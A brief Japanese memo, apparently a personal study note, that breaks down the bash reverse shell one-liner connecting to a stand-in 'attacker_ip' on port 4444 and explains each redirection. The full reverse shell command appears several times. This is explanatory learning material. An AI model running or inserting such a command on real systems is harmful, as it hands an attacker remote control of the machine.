🔙
bash -i >& /dev/tcp/attacker_ip/4444 0>&1の解釈
リバースシェルの構文について1週間くらい悩んでいたのでメモ。
bash -i
対話形式(-i)のbashを起動
コマンド >& ファイル名
Aの標準出力と標準エラー出力をBに送る。
/dev/tcp/attacker_ip/4444
attacker_ipのポート番号4444の指定
0>&1
「標準入力を、標準出力と同じ場所(ソケット)から受け取るようにする」リダイレクト。
bash -i >& /dev/tcp/attacker_ip/4444
対話形式のbashの標準出力と標準エラー出力をattacker_ipのポート番号4444(攻撃者のマシン)に送る
つまりbashで出力される内容とエラーが攻撃先のポートの送られるということ。
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
最後に0>&1
を付けることで、bash -i
の標準入力も、標準出力と同じ経路に設定。
これにより攻撃者のマシンとやり取りできないリモートの標準入力も、標準出力と同じようにやり取りができるようになり、攻撃者のマシンから操作ができるようになる。
結論
リバースシェル、bash -i >& /dev/tcp/attacker_ip/4444 0>&1
は、
bash -i(コマンド) >& /dev/tcp/attacker_ip/4444(ファイル名) 0>&1(リダイレクト構文)
で構成されている。
外のlinuxのコマンドの構文も、コマンド >& ファイル名 0>&1(リダイレクト構文)
までがコマンドの基本。(これ以上増やしても見づらくなるだけでやる意味はあまりない。)
Discussion